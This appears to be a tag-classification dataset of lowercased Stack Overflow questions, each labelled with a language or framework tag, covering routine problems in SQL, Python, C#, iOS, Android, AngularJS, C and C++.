import module into a specific scope without using inspect  i have some helper functions that i have shoved off into some support libraries i import as needed.  i have a few functions that have to access globals() for whatever scope the function is called from in order to simplify some logging and string construction.  one such function is format_vars which attempts to use the globals() dict as an immediate argument to a strings format method by default.   <pre><code>def format_vars(s  vars=none):        use .format() on a string while providing a dictionary or globals() by default.         big fat warning: globals() is global to module  not script         if not vars:         vars = globals()      return s.format(**vars) </code></pre>   this is very useful  to take advantage of it i unfortunately have to create source code from the function and then execute it.  i have the following in the modules code underneath the function definition.   <pre><code>format_vars_source = inspect.getsource(format_vars) </code></pre>   in the script that wants to use this function i have to include the module and then do the following:   <pre><code>exec(supportlib.format_vars_source) </code></pre>   my question is if there is a more appropriate method of doing this,python
resizing image with specified height and width  i am trying to resize an image in a folder. the code i am using is this:   <pre><code>string logourl = httpcontext.current.server.mappath( devicelogo ); system.drawing.image sourcelogo = system.drawing.image.fromfile(logourl + @ \  + objdevice.filename);  //create a logo for this device and reseller/client business               bitmap newimage = new bitmap(objdevice.logowidth  objdevice.logoheight  pixelformat.format24bpprgb); using (graphics graphics = graphics.fromimage(newimage)) {     graphics.compositingquality = compositingquality.highquality;     graphics.interpolationmode = interpolationmode.highqualitybicubic;     graphics.smoothingmode = smoothingmode.highquality;     graphics.drawimage(sourcelogo  0  0  objdevice.logowidth  objdevice.logoheight); } string filepath = httpcontext.current.server.mappath( devicelogo );                  //save the resized image                 newimage.save(filepath + objdevice.filename); </code></pre>   the problem is that the image is not getting resized,c#
subquery returned more than 1 value. this is not permitted when the subquery follows  i have the following script which has stopped working due the error in the title. could someone please provide some assistance    <pre><code>select distinct top 100 percent          locs.lcustomergrouppk  locs.lcustomerid  locs.customer_group_name  locs.customer_name  locs.location_name  ty.thisyearssales          (select thisyearssales            from dbo.vw_level_3_sales_this_year           where (llocationid = locs.llocationid2 or llocationid = locs.llocationid)             and (current_read_date = ty.current_read_date - 364) and (thisyearssales &lt;= 400)          ) as lastyearssales            ty.current_read_date - 1 as current_read_date into #tmplocationlflsales   from dbo.vw_level_3_sales_this_year as ty          inner join dbo.vw_locations_like_for_like_previous as locs                  on ty.llocationid = locs.llocationid or ty.llocationid = locs.llocationid2  where (ty.thisyearssales &lt;= 400)     and (ty.current_read_date = @recorddate)     and ty.thisyearssales is not null     and (select thisyearssales            from dbo.vw_level_3_sales_this_year           where (llocationid = locs.llocationid2 or llocationid = locs.llocationid)              and (current_read_date = ty.current_read_date - 364)              and (thisyearssales &lt;= 400)          ) is not null   order by locs.customer_group_name  locs.customer_name  locs.location_name  current_read_date </code></pre>,sql
how to find if a string charactersis present in the another string   for example:   <pre><code>str1= key  chracters-[ k   e   y ]  str2= hey! let s place a knot   </code></pre>   result:  <code>true</code>  -- [since the characters <code> k   e   y </code>is present in <strong>str2</strong> string.]   example 2:   <pre><code>str1= pond  characters - [ p   o   n   d ]  str2= i need some sleep  </code></pre>   result: <code>true</code> [since <code> p   o   n   d </code> is present in <strong>str2</strong>.]   <pre><code>def findstr(str1 str2):   count=0   chararr1 = list(str1.lower())   chararr2=list(str2.lower())   for i in range(len(str1)):     for j in range(len(str2)):       if chararr1[i] == chararr2[j]:         count+=1         break   if count==(len(chararr1)):     return true  str1 = input() str2 = input() print(findstr(str1 str2)) </code></pre>   the problem in this solution is that if i have more than one characters same in str1 then it will give the wrong answer.<br> for example :   <pre><code>str1= press  str2= please repeat!   </code></pre>   so  in this case it should be <code>false</code> but my solution will give <code>true</code> because <strong>str1</strong> has two <code> s </code> and <strong>str2</strong> has only one <code> s </code>.,python
need help with sql query  i have two tables structured like this:    <strong>table a</strong>   <pre><code>id title   date 1  testing1 2001-05 1  testing2 2003-05 </code></pre>   <strong>table b</strong>   <pre><code>id code   date 1  aaaa 2001-01 1  bbbb 2003-01 </code></pre>   when i join these two tables  i am getting three rows  but i only want 2    <pre><code>(query) select distinct a.*  b.* from table a  table b where a.date in ( 2001-05   2003-05 ) and a.id=b.id and b.date &lt; a.date  ---&gt; i know the error is coming from here. </code></pre>   wrong output looks like this   <pre><code>id title   date     id   code   date 1  testing1 2001-05 1    aaaa   2001-01 1  testing1 2003-05 1    aaaa   2003-01-------this is duplicated because the date is in fact less than   1  testing2 2003-05 1    bbbb   2003-01 </code></pre>   correct output should be:   <pre><code>id title   date     id   code   date 1  testing1 2001-05 1    aaaa   2001-01 1  testing2 2003-05 1    bbbb   2003-01 </code></pre>,sql
filter rows by highest version  i have a selection of data. example shown in <strong><a href= http://sqlfiddle.com/#!2/a0e8c/9  rel= nofollow >sql fiddle</a></strong>    i want to return the highest myvalue for each name.   <pre><code>name    myvalue a1      22 a2      22 a3      21 a4      36 a6      12 a9      5 </code></pre>   there are 3 rows named a6  i only want the row with the highest value returned.,sql
allow user inteaction with uitextfield in a collectionview cell  i ve written an ios app which uses <code>uitableviewcells</code> and i am converting it to use <code>uicollectionview cells</code>.    it s working ok at present  but i can t figure out how to allow user to update a <code>uitextfied</code> which is situated within the <code>uicollectionview cell</code>.    i ve managed to do this with <code>uitableview cells</code>.    i ve searched for answers to my problem  but can t find anything that uses a <code>uitextfield</code> within a <code>uicollectionview cell</code>. help in pointing me in the right direction would be much appreiciated.,ios
execute a function if something is not fulfilled <pre><code>if ($(this).text !=  end ) {next()}; </code></pre>   this doesn t work. <code>next()</code> function is executed if <code>text</code> is <code>end</code>.   <pre><code> if (!$(this).text ==  end ) {next()}; </code></pre>   this works  but this is opposite to accepted answer <a href= https://stackoverflow.com/questions/6539459/jquery-how-to-write-if-not-equal-to-opposite-of ><strong>here</strong></a>    so  what is the proper way to do this,jquery
how to run a program with no formborderstyle inside c# form   i want to learn how can i run a external program in my c# form. with these speccifications:   <pre><code>formborderstyle = none </code></pre>   size and location fixed.,c#
tableview s commit method stops being called if editactionsforrowat is present  my tableview s commit method gets called fine when the user swipes and deletes a row  but if i attempt to customize the color/text of the action by using editactionsforrowat then it stops being called.    here s some code   <pre><code>override func tableview(_ tableview: uitableview  caneditrowat indexpath: indexpath) -&gt; bool {     return true }  override func tableview(_ tableview: uitableview  editingstyleforrowat indexpath: indexpath) -&gt; uitableviewcelleditingstyle {     return .delete }  override func tableview(_ tableview: uitableview  commit editingstyle: uitableviewcelleditingstyle  forrowat indexpath: indexpath) {  // delete code goes here  } </code></pre>   with the above code then tableview:commit will get called. but if i attempt to change the background color and text by adding the method below then it stops getting called.   <pre><code> override func tableview(_ tableview: uitableview  editactionsforrowat indexpath: indexpath) -&gt; [uitableviewrowaction]   {     let delete = uitableviewrowaction(style: .destructive  title:  remove ) { (action  indexpath) in     }     delete.backgroundcolor = uicolor.lightgray     return [delete]  } </code></pre>   why does adding the editactionsforrowat method stop the commit method from getting called,ios
database and application server speed issue  i have a system which has application server and database server.    in the initial stage  both database and application servers run in a same physical server. after that we have segregated these two servers in to separate segments in the network. i.e we have defined two separate vlan s as application and database and put these two servers in to these two different vlans and given the required access permission through the firewall.    after the segregation we had a major issue regarding the slowness between application and db servers. we have checked the network connectivity and we couldn t find any issue from the network side for the slowness.     after that we have put both application and db servers in to one server like the implementation stage. then the slowness issue has rectified.    i want to know what could be happen for this slowness.    please advice me.    thank you,sql
mysql - summary report - remove duplicates - total sum of column  i have a table keeping tract of devices  and their relationships in mysql.    a single device can be related to multiple objects.  i would like unique the deviceid so i m not counting the device multiple times  and provide the grand total of the capacity of all devices.   <pre><code>array | capacity | deviceid | assignment  4321    1024       3eb        esx1  4321    1024       3eb        esx2  4321    1024       3eb        esx3  4321    28672      3ec        win1  4321    61440      9f1        unassigned </code></pre>   i want a report similar to the following   <pre><code>array | capacity   4321    91136 </code></pre>   i ve tried <code>select sum(capacity) from table group by deviceid</code> and this doesn t give me the expected results.        any insight would be greatly appreciated.,mysql
sqlserver split a string separated by commas  i have a table of groups in my database(sql server) in which i have a column of members that contains user-id s separated by commas.    what i want to do is to select all the groups that is either created by a particular user having user-id or he/she is a member of that group by checking it in the members column of a group row. my query is below but is not working i now that what i am doing is not correct please help me how should i achieve this.   <pre><code>select * from groups where createdby = @userid or members in (@userid)    </code></pre>,sql
python multiprocessing pool.map not faster than calling the function once  i have a very large list of strings (originally from a text file) that i need to process using python. eventually i am trying to go for a map-reduce style of parallel processing.    i have written a  mapper  function and fed it to multiprocessing.pool.map()  but it takes the same amount of time as simply calling the mapper function with the full set of data. i must be doing something wrong.    i have tried multiple approaches  all with similar results.   <pre><code>def initial_map(lines):     results = []     for line in lines:         processed = # process line (o^(1) operation)         results.append(processed)     return results  def chunks(l  n):     for i in xrange(0  len(l)  n):         yield l[i:i+n]  if __name__ ==  __main__ :     lines = list(open( ../../log.txt    r ))     pool = pool(processes=8)     partitions = chunks(lines  len(lines)/8)     results = pool.map(initial_map  partitions  1) </code></pre>   so the chunks function makes a list of sublists of the original set of lines to give to the pool.map()  then it should hand these 8 sublists to 8 different processes and run them through the mapper function. when i run this i can see all 8 of my cores peak at 100%. yet it takes 22-24 seconds.    when i simple run this (single process/thread):   <pre><code>lines = list(open( ../../log.txt    r )) results = initial_map(results) </code></pre>   it takes about the same amount of time. ~24 seconds. i only see one process getting to 100% cpu.    i have also tried letting the pool split up the lines itself and have the mapper function only handle one line at a time  with similar results.   <pre><code>def initial_map(line):     processed = # process line (o^(1) operation)     return processed  if __name__ ==  __main__ :     lines = list(open( ../../log.txt    r ))     pool = pool(processes=8)     pool.map(initial_map  lines) </code></pre>   ~22 seconds.    why is this happening  parallelizing this should result in faster results  shouldn t it,python
testing tool for .net window based applications  i am working in .net window based application.    i want to test my application using  automation testing.    are there any tools for it,.net
sms using asp.net web application  can you please show me how to send an sms to a mobile phone through asp.net web application.    i will very much appreciate it if you can help me with that.    thank you in advance.    austin,asp.net
a question regarding networking  i have to communicate with server i have to  questions in my mind    1>code that connect to server 2>code that try to connect to server untill and unless connection establish with server.,iphone
eaccess (permission denied) while writing txt to sdcard  i know there are many other questions about this. i searched and searched but none of the answers seems to help. if i want to create and save a .txt on my sdcard i get the following error:   <pre><code>11-05 10:13:31.244 11781-11781/com.sbeyer.daainv w/system.err: java.io.ioexception: open failed: eacces (permission denied) 11-05 10:13:31.252 11781-11781/com.sbeyer.daainv w/system.err:     at java.io.file.createnewfile(file.java:939) 11-05 10:13:31.252 11781-11781/com.sbeyer.daainv w/system.err:     at com.sbeyer.daainv.listviewfragment$4.onclick(listviewfragment.java:118) 11-05 10:13:31.252 11781-11781/com.sbeyer.daainv w/system.err:     at android.view.view.performclick(view.java:5198) 11-05 10:13:31.253 11781-11781/com.sbeyer.daainv w/system.err:     at android.view.view$performclick.run(view.java:21147) 11-05 10:13:31.253 11781-11781/com.sbeyer.daainv w/system.err:     at android.os.handler.handlecallback(handler.java:739) 11-05 10:13:31.253 11781-11781/com.sbeyer.daainv w/system.err:     at android.os.handler.dispatchmessage(handler.java:95) 11-05 10:13:31.253 11781-11781/com.sbeyer.daainv w/system.err:     at android.os.looper.loop(looper.java:148) 11-05 10:13:31.253 11781-11781/com.sbeyer.daainv w/system.err:     at android.app.activitythread.main(activitythread.java:5417) 11-05 10:13:31.253 11781-11781/com.sbeyer.daainv w/system.err:     at java.lang.reflect.method.invoke(native method) 11-05 10:13:31.253 11781-11781/com.sbeyer.daainv w/system.err:     at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:726) 11-05 10:13:31.253 11781-11781/com.sbeyer.daainv w/system.err:     at com.android.internal.os.zygoteinit.main(zygoteinit.java:616) 11-05 10:13:31.253 11781-11781/com.sbeyer.daainv w/system.err: caused by: android.system.errnoexception: open failed: eacces (permission denied) 11-05 10:13:31.253 11781-11781/com.sbeyer.daainv w/system.err:     at libcore.io.posix.open(native method) 11-05 10:13:31.253 11781-11781/com.sbeyer.daainv w/system.err:     at libcore.io.blockguardos.open(blockguardos.java:186) 11-05 10:13:31.253 11781-11781/com.sbeyer.daainv w/system.err:     at java.io.file.createnewfile(file.java:932) </code></pre>   i think the permission is correct:   <pre><code>&lt;manifest [...]      &lt;application            [...]         &lt;activity               [...]             &lt;intent-filter&gt;                   [...]             &lt;/intent-filter&gt;         &lt;/activity&gt;     &lt;/application&gt;      &lt;uses-permission android:name= android.permission.write_external_storage  /&gt;  &lt;/manifest&gt; </code></pre>   this is my code:   <pre><code> buttonexport.setonclicklistener(new view.onclicklistener() {                  @override                 public void onclick(view view) {                      try {                         string filename =  daa_raum_nr_  + roomnr.gettext().tostring() +  .txt ;                         file file = new file (environment.getexternalstoragedirectory().getabsolutefile()  filename);                         file.createnewfile();                          fileoutputstream fout = new fileoutputstream(file);                         outputstreamwriter fos = new outputstreamwriter(fout);                         fos.write(datalist);                         fos.close();                         fout.close();                      } catch (exception e) {                         e.printstacktrace();                     }                 }             }); </code></pre>   i also tried to unplug my device (rooted n5) but also no file on my sdcard.,android
ld: library not found for -lboost ios  i have create one application in which i try to run the application  it show me following error.the code written on c++. this library not found to search. ld: library not found for -lboost clang:  error: linker command failed with exit code 1 (use -v to see invocation),ios
sql relational database - table names in a table  i have these tables    <strong>datatype</strong>   <pre><code>name     tablename ------------------- animal   dataanimal vehicle  datavehicle </code></pre>   <strong>datavehicle</strong>   <pre><code>id      name       speed ------------------- 1       car        10 2       bike       2 3       horse      4 </code></pre>   <strong>dataanimal</strong>   <pre><code>id      name       imagefile ----------------------------- 1       cow        cow.jpg 2       sheep      sheep.jpg 3       pig        pig.jpg </code></pre>   is it possible to make a relationship with datatype column <code>tablename</code> and all the tables with that name,sql
display app store web page without launching app store  in my ipad app  i d like to display an itunes app web page in my own uiwebview. but the following code always launches the app store and leaves my app:   <pre><code>nsurl *url = [nsurl urlwithstring:@ https://itunes.apple.com/us/app/facebook/id284882215 mt=8 ]; [self.webview loadrequest:[nsurlrequest requestwithurl:_url]]; </code></pre>   is there a way to display this web page in my app without launching the app store,ios
angularjs - child sub arrays not being returned from api call  i am using a breeze web api controller to retrieve menu items:   <pre><code>    public iqueryable&lt;menuitem&gt; menuitems()     {         var result = _repository.menuitems.orderby(c =&gt; c.fk_dbmoduleid).thenby(d =&gt; d.ordernum);         return result;     } </code></pre>   it is being called from an angular factory service:   <pre><code>app.factory( menuitems   function ($http) {     return {         all: function () {             return $http({                 url:  http://localhost:9669/api/breeze/menuitems                   method:  get              });         }     }; }); </code></pre>   i have menu items that have submenu items:    <img src= https://i.stack.imgur.com/ykzww.png  alt= enter image description here >    they are being returned from the api controller properly:    <img src= https://i.stack.imgur.com/jiy3o.png  alt= enter image description here >    but angular is ignoring the submenu items:    <img src= https://i.stack.imgur.com/91nc2.png  alt= enter image description here >    i tried adding  isarray:true  to http call  no success.    any suggestions on how to get the child submenus/sub arrays,angularjs
obj-c  how to stop nsurlconnection behind nsdata   how can i stop nsurlconnection behind nsurlconnection      code:   <pre><code> nsdata *sendreq = [nsurlconnection sendsynchronousrequest:urlreq returningresponse:nil error:nil];  nsstring *responsestr =[[nsstring alloc] initwithbytes:[sendreq bytes] length:[sendreq length] encoding:nsutf8stringencoding]; </code></pre>   i use the nsdata to store the response from my server  but in this way i cant use  [sendreq cancel]  so if the nsurlconnection is making a long connection and the user is go to anther vc i want to stop the nsurlconnection  so how can i do it,objective-c
form validation asp.net  think i am overlooking the issue  when i click submit nothing comes up but when i enter data in one of the text boxes and not all over them i get an error message in the script.    what would i need to add or change so that i get the message when the do not enter data in any of the boxes   <pre><code>    protected void submit_click(object sender  eventargs e)     {             if (jobsdate.text ==    &amp;&amp; firstjob.text ==    &amp;&amp; firstbudgetjob.text ==    &amp;&amp; secondjob.text ==    &amp;&amp; thirdjob.text ==    &amp;&amp; nightwork.text ==    &amp;&amp; otherwork.text ==   )         {             conform.text =  please enter data ;             return;         }                     else         {             execution(submittime.text  jobsdate.text  firstjob.text  firstbudgetjob.text  secondjob.text  thirdjob.text  nightwork.text  otherwork.text  totaljobs.text  overbudget.text);             conform.visible = true;             submittime.text =   ;             jobsdate.text =   ;             firstjob.text =   ;             firstbudgetjob.text =   ;             secondjob.text =   ;             thirdjob.text =   ;             nightwork.text =   ;             otherwork.text =   ;             totaljobs.text =   ;             overbudget.text =   ;                                             }                } </code></pre>,asp.net
update when third character is  _   i want to update column 1 in table a in a specific way: when the third character in the column is an  _  i want to insert the first 2characters  if the third character anythin else i want to leave it as it is.     example:   <pre><code>|col1|                      +--------+ |161_512 |        |16_1217 |   |161_512 |       |161512  |          |17_0117 | |1615_12 |         </code></pre>   expected outcome:   <pre><code>|col1|                      +--------+ |161_512 |        |16      |   |161_512 |       |161512  |          |17      | |1615_12 |               </code></pre>   thats what i´ve got so far - but this is not working correctly:   <pre><code>update table a set col1 = case when col1 like  %_%  then ... else  col1; </code></pre>,mysql
null in group by   when i use this select i don t get the null camp grouped:   <pre><code>(select texto as tipo  from tablatodos) union (select gestiones.tipo   from gestiones  group by gestiones.tipo); </code></pre>   how can i do that,sql
select rows that have different values for a column  given another column  given a table with 2 columns a  b.    i want to select rows that for a given a  i can have different values of b.    in this example  i want the first 2 lines   <pre><code>a | b ----- 1 | 1   1 | 2  2 | 1 2 | 1 3 | 1 </code></pre>,sql
gps currentlocation issues  my gps settings are  off  in the beginning and i executed this code and i can able to get currentlocation latitude and longitude.    but once i turned on programatically the settings are changed and everything is fine.    when i executed again it is not giving me (provider location references) i didnt understand why it is happening.    <pre><code> public void getcurrentlocation() {     string providers = settings.secure.getstring(getcontentresolver()  settings.secure.location_providers_allowed);     log.e( provider  providers);     if(!providers.contains( gps )){       final intent poke = new intent();       poke.setclassname( com.android.settings    com.android.settings.widget.settingsappwidgetprovider );       poke.addcategory(intent.category_alternative);       poke.setdata(uri.parse( 3 ));        sendbroadcast(poke);       log.e( your gps is   enabled );     }     locationmanager = (locationmanager) getsystemservice(context.location_service);        // define the criteria how to select the locatioin provider -&gt; use        // default        criteria criteria = new criteria();        string provider = locationmanager.getbestprovider(criteria true);        location location = locationmanager.getlastknownlocation(provider);         // initialize the location fields        if (location != null)         {         system.out.println( provider   + provider +   has been selected. );               strlatitude=string.valueof(location.getlatitude());               strlongitude=string.valueof(location.getlongitude());               log.e( lattitude  strlatitude);               log.e( logntitude  strlongitude);        }        else         {               strlatitude=string.valueof(0);               strlongitude=string.valueof(0);               log.e( lattitude  strlatitude);               log.e( logntitude  strlongitude);        }         geocoder geocoder = new geocoder(this  locale.english);         try {   list&lt;address&gt; addresses = geocoder.getfromlocation(double.parsedouble(strlatitude)  double.parsedouble(strlongitude)  5);  getaddress(double.parsedouble(strlatitude)  double.parsedouble(strlongitude));   if(addresses != null) {    address returnedaddress = addresses.get(0);    stringbuilder strreturnedaddress = new stringbuilder( address:\n );    for(int i=0; i&lt;returnedaddress.getmaxaddresslineindex(); i++) {     strreturnedaddress.append(returnedaddress.getaddressline(i)).append( \n );    }    log.e( address  strreturnedaddress.tostring());   }   else{    log.e( not found   no address returned! );   }  } catch (ioexception e) {   // todo auto-generated catch block   e.printstacktrace();   log.e( cannot get address   canont get address! );  }     } </code></pre>,android
error printing out table rows  i am trying to print out a table using data which i am fetching from the database.this is the code   <pre><code>&lt; php   $host =  localhost ;   $user =  root ;   $pass =   ;   $databasename =  caliban ;   $tablename =  caliban ;   $con = mysql_connect($host $user $pass);   $dbs = mysql_select_db($databasename  $con);   $result = mysql_query( select * from $tablename );            //query   $array = mysql_fetch_assoc($result);                          //fetch result      //--------------------------------------------------------------------------   // 3) echo result as json   //-------------------------------------------------------------------------- $result = mysql_query( select * from $tablename );            //query   $rows = array(); $i=0; while($row = mysql_fetch_assoc($result)){         //array_push($rows  $row);       $rows[$i++] = $row; } for($j=0;$j&lt;count($rows); $j++){       echo        &lt;table&gt;&lt;tbody&gt;&lt;tr id= $rows[$j][ id ] &gt; &lt;td&gt;&lt;input type= checkbox  /&gt;&lt;/td&gt; &lt;td&gt;$rows[$j][ firstname ]&lt;/td&gt; &lt;td&gt;$rows[$j][ lastname ]&lt;/td&gt; &lt;td&gt;$rows[$j][ city ]&lt;/td&gt; &lt;td&gt;$rows[$j][ continent ]&lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt; ; }  &gt; </code></pre>   the error get repeated 8 times since those are the total number of rows i am having.,php
getting data from gridview returns nothing  i like to get data from second column of my grid view by code like below  but it returns nothing (di.cells[1].text)   please help what is the problem:   <pre><code>protected void btnshowaddtransmittaltocon_click(object sender  eventargs e) {     transmittallistfortest transmittallist = (transmittallistfortest)detailsview1.findcontrol( transmittallistfortest1 );     gridview g3 = transmittallist.findcontrol( gridviewttransmittals ) as gridview;     foreach (gridviewrow di in g3.rows)      {          radiobutton rad = (radiobutton)di.findcontrol( radiobutton1 );         //giving error:object reference not set to an instance of an object.         if (rad != null &amp;&amp; rad.checked)         {             var w = di.rowindex;              label1.text = di.cells[1].text;         } </code></pre>   the aspx is like below:   <pre><code> &lt;asp:gridview id= gridviewttransmittals  runat= server  autogeneratecolumns= false             borderstyle= none  showheader= false  width= 100%  datakeynames= transid   onrowdatabound= gridviewttransmittals_rowdatabound          onrowdeleting= gridviewttransmittals_rowdeleting &gt;           &lt;columns&gt;               &lt;asp:templatefield&gt;                   &lt;itemtemplate&gt;                       &lt;asp:radiobutton id= radiobutton1  runat= server  groupname= transmittal  autopostback= true           oncheckedchanged= radiobutton1_checkedchanged  /&gt;                    &lt;/itemtemplate&gt;               &lt;/asp:templatefield&gt;             &lt;asp:hyperlinkfield datanavigateurlfields= transid                 datanavigateurlformatstring= ~/copy of transmittal.aspx transid={0}  datatextfield= transmittal                 headertext= transmittal  /&gt;             &lt;asp:commandfield buttontype= button  showdeletebutton= true  /&gt; </code></pre>,asp.net
return type unknown for template classes  i have created a matrix class and want to add two matrices of different data types. like for int and double return type of matrice should be double. how can i do that    this is my code   <pre><code>template&lt;class x&gt; class matrix { .......... ........ template&lt;class u&gt; matrix&lt;something&gt; operator+(matrix&lt;u&gt; &amp;b) { if((typeid(a).before(typeid(b.a)))) matrix&lt;typeof(b.a)&gt; res(1 1); else matrix&lt;typeof(a)&gt; res(1 1); } </code></pre>   what should be  something  here        also what should be done so that i can use  res  outside if else statement,c++
how to convert strings to numbers  in a program i am working on  i want to allow the user to enter symbolic names which the program will convert to predefined numbers.    for example  if the user types <code>aa</code> then program would use value <code>10</code>  but if the user types <code>bb</code> then the program would use the value <code>20</code>.    how can i convert the strings to numbers,c
reference values from other tables  assume i have two tables  <code>customer</code> and <code>watched</code>.    <code>watched</code> contains the column <code>custid</code>  which is a list of different customer id # s.     <code>customer</code> contains the columns <code>custid</code> <code>fname</code> and <code>lname</code>.    i would like to count the number of occurrences of each <code>custid</code> in <code>watched</code>  but rather than returning the id of each customer along with the counts  i would like to return columns <code>custid lname fname</code> and then the count in a new column.    i currently have it working with the return format as <code>custid</code> and then the count  i m not sure how to reference the <code>customer</code> table to get the output that i would like. i m very new to learning sql  sorry if this is trivial. here s what i have:   <pre><code>select w.custid  count(custid)     from watched w  group by custid order by custid </code></pre>,sql
can i use finally statement with def statement   i m creating a program and i was wondering  is there way to use <code>finally</code> with <code>def</code> statement  for example:   <pre><code># not working def test(a b c):     return a+b+c finally:     del a b c  x = test(4 5 6) </code></pre>   so i can delete variables in function after <code>return</code> in function  or do i need to delete variables after calling the function     edit: it was stupid example with variables but i wanted to achive not only deleting variables (as i was thinking it stay in ram until delete)  but also deleting files and similar.    the code that helped me with it is:   <pre><code>def test(a  b  c):     try:         return a + b + c     finally:         pass # do whatever you want </code></pre>,python
how is <del> tag interpreted by search engines   what i m wondering is will such html code:   <pre><code>product name  &lt;del&gt; lead &lt;/del&gt; &lt;del&gt; mercury &lt;/del&gt; </code></pre>   be somewhat interpreted by the browsers as  product without mercury  or  product mercury free   will it show in the results for such queries  or is it strictly interpreted as editorial marks,html
cropping an uiimage. cropped image is not correct  i have a uiimageview on the screen. it displays an image with several colors. when i click on the image it crops a small portion of the image and set the cropped image to a new small uiimageview. for some reason the cropped image is always wrong. check out the screenshot below:     <img src= https://i.stack.imgur.com/x9lgu.png  alt= enter image description here >    here is the complete code for touchesbegin:    <pre><code>-(void) touchesbegan:(nsset *)touches withevent:(uievent *)event {     cgpoint location = [[touches anyobject] locationinview:self.imageview];      uiimage *originalimage = self.imageview.image;      nslog(@ x = %f  y = %f  location.x location.y);      cgrect cropregion = cgrectmake(location.x  location.y  10  10);      cgimageref subimage = cgimagecreatewithimageinrect(originalimage.cgimage  cropregion);      uiimage *croppedimage = [uiimage imagewithcgimage:subimage scale:originalimage.scale orientation:originalimage.imageorientation];      [self.previewimageview setimage:croppedimage];      cgimagerelease(subimage);  } </code></pre>,ios
facing error in c++ code  i am writing code of acm problem in which we have to check possibilities of different items. it s some minor error in the code.   <pre><code>#include&lt;iostream&gt; using namespace std; void checkpossibilities( int numitems  int maxweights ) {     if( numitems &lt;= 0  )     {         cout &lt;&lt;  invalid items ;      }      if ( maxweights &lt;= 0 )     {         cout &lt;&lt;  impossible ;      }      while( maxweights &gt; 0 )     {         if(numitems%2==0)                //for even         {         numitems = numitems / 2;         maxweights--;         }         else          {              numitems = (numitems -1)/ 2;      //for odd              maxweights--;         }      }      if( numitems &lt;= 1 )     {         cout &lt;&lt;  possible ;     }     else     {         cout &lt;&lt;  impossible ;     }  }  void main() {      int  numitems1 maxweights1;     cout&lt;&lt; enter numitems &lt;&lt;endl;     cin&gt;&gt;numitems1;     cout&lt;&lt; maxweights &lt;&lt;endl;     cin&gt;&gt;maxweights1;     cout&lt;&lt;numitems1  and  maxweights1&lt;&lt;endl; cout&lt;&lt;checkpossibilities(numitems1  maxweights1); } </code></pre>,c++
creating the controller in the index page while using routing in angular js  i have made an app using angularjs. i am using routing to load different page inside the index.html page and i have also made controller for every page that i have loaded inside the index page. but i also want to create a controller for the index page to control the content of the index page. how should i do that,angularjs
how to connect a windows desktop and get a file from it using java  i have a file (file1.txt) in one of the systems (system1) in my network. i would like to connect to this system (system1) from another system (system2) in the same network/other network (i.e. in web) by using it s ip  username and password  and i want to get that file into system2. how can i do this    <pre><code>file f=new file( d:/file1.txt ); if(f.exists()) {     f.delete(); } f.createnewfile(); fileobject destn=vfs.getmanager().resolvefile(f.getabsolutepath()); userauthenticator auth=new staticuserauthenticator(     username    password ); filesystemoptions opts=new filesystemoptions(); defaultfilesystemconfigbuilder.getinstance().setuserauthenticator(opts  auth); fileobject fo=vfs.getmanager().resolvefile( \\\\192.168.1.255\\e$\\work\\file1.txt  opts); destn.copyfrom(fo selectors.select_self); destn.close(); </code></pre>   i have got this code from internet but doesn t work for my requirement.<br> for this i am using below two jars.   <ol> <li>commons-logging-1.2.jar </li> <li>commons-vfs-2.0.jar</li> </ol>,java
angular $resource put method  can t make it work  i use a rest api and i d like to update on of my project objects with a put request. the request is supported in the api  and i m trying to use $resource to put the data  but it doesn t seem to work. here is what i do :   <pre><code>var projectresource = $resource( /api/projects/  + projectid  {update: {method:  put }});     $scope.editproject = function(editedproject) {         projectresource.$update(editedproject);     } </code></pre>   where editedproject is the project with the new values  filled by a form in a webpage. i know there is something wrong in my projectresource declaration  but i don t find what. help !,angularjs
display .net assembly properties including public key in windows explorer  is there an easy way to get properties of a .net assembly including its public key token and culture info using windows explorer on my windows 7 pc.     currently i use reflector to get this info  but surely there should be an easier way that i am not aware of.,.net
dynamically typecast from a function that returns a class <pre><code>    - (void)activate:(nsdictionary *)options {       class c = [self displayclass];       self.display = [[c alloc] initwithoptions:options];       (c *)self.display.delegate = self; </code></pre>   my display property is of a base display class.    error on the last line. the delegate in question is only available to the current displayclass which is a sub-class of display.    how do i cast to set the delegate     edit:    i understand that (display *) works. i am trying to make the ((display *) part dynamic. when i do     (c *)self.display).delegate = self; i get  expected expression .,objective-c
i am a beginner in programming in c. help required  i was asked to write a c program in which a user have to input a 4 digit binary number (int). we have to display the decimal equivalent of that binary number that has been input by the user.  and we have to do this without loops or any other if else etc. i wrote the code but its not working. please check and run the following code and guide me.    help is highly appreciated.   <pre><code>#include&lt;stdio.h&gt; #include&lt;math.h&gt;     void main()      #include&lt;stdio.h&gt;     void main()     {         int a=0 b=0 c=0 d=0 e=0 ans=0 num1=0 num2=0 num3=0;         printf( enter a 4 digit binary number:\n\n\t );         scanf_s( %d%  a);         b=(a%10)*1;         num1=a/10;         c=(num1%10)*2;         num2=num1/10;         d=(num2%10)*8;         num3=num2/10;         e=num3/10;         ans=b+c+d+e;         printf( decimal value is : %d  ans);      } </code></pre>,c
why does c assume integer type within a calculation for a double   i was trying to plot a function in gnu plot  and my plot kept differing from the one in the paper.  upon reading that gnu interprets functions as c would  i tried coding the function in c. same problem.      eventually i figured out the problem could be exhibited with this tidbit:   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  int main() { double p = 1.0; double pminusonehalf1 = p - (1.0/2.0); double pminusonehalf2 = p - (1/2);  printf( \nfirst = %lf \n second = %lf\n\n   pminusonehalf1  pminusonehalf2);  return 0; } </code></pre>   which gives output   <pre><code>first = 0.500000  second = 1.000000 </code></pre>   just wondering if anyone has an explanation as to why c would assume  1  and  2  as ints inside of the expression for a double.     seems like a very easy thing for people to get caught on.  gcc s -wall option doesn t even comment on it.,c
